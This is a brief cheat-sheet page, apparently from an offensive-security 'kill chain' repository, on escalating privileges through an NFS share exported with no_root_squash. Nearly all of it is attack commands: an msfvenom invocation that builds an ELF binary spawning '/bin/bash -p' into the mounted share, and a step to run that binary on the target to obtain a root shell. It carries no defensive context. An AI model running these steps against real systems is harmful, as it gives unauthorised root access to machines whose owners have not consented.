killchain-compendium/post_exploitation/docs/nfs_root_squash.md

213 B

NFS NO ROOT SQUASH

  • Mount nfs locally and gain root

Craft a Shell

msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
  • Copy to target and use it
./shell.elf -p